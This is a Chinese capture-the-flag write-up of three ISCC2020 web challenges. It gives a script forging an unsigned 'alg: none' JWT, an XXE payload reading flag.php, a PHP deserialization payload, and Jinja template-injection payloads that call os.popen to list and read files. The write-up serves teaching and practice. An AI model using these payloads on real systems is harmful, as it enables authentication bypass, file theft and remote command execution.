ISCC2020
Web4 未知的风险-1
知识点:jwt,xxe
- 首先打开页面就只有一个
hello guest
,遂打开cookie
查看了一下,发现了有jwt
样式的值
- 遂尝试修改,由于描述指出只有
user
才可访问,所以要构造user
的jwt
- 这里修改
jwt
,采用修改算法为none
,具体原理可以看一下这篇文章
https://www.cnblogs.com/dliv3/p/7450057.html#2-%E4%BF%AE%E6%94%B9%E7%AE%97%E6%B3%95%E4%B8%BAnone
exp
如下:
import jwt
import base64
# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
# 构造算法字段为none, payload部分可以随意修改
print(b64urlencode(b"{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
b'.' + b64urlencode(b"{\"id\":\"user\",\"iat\":\"1588393520\",\"jti\":\"37b27d0b48c2465a97e4ba5fb7b06997\"}") + b'.')
- 登录进去后发现又有一个登录框,这里其实是
NCTF
原题
- 所以直接使用
payload
进行攻击
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY ext SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<user><username>&ext;</username><password>0</password></user>
Web2 Php is the best language
知识点:_toString()反序列化绕过
- 之前接触过不少反序列化的题,但是有一段时间没做了,记忆有些模糊,这次这题刚好回忆一下
- 首先首页可以下载源码,发现要绕一个
_toString()
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
- 这里
test
没什么用处,关键就在于给data
的反序列化,对于_toString()
,它是把一个对象被当作一个字符串使用,所以我们这里就要尝试构造一个能调用_toString()
的
- 所以构造
payload
如下:
class baby
{
public $file;
}
$a = new baby();
$a->file="flag.php";
echo serialize($a);
?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
擂台赛:Easy Injection
Python template Injection
- 攻防世界的原题,常规
SSTI
套路
- 首先还是查找
warnings.catch_warnings
,检索索引发现是177
,而后尝试命令执行
%7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22ls%22).read()')%20%7D%7D
- 遍历出文件
- 读
flog
%7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22cat%20flog%22).read()')%20%7D%7D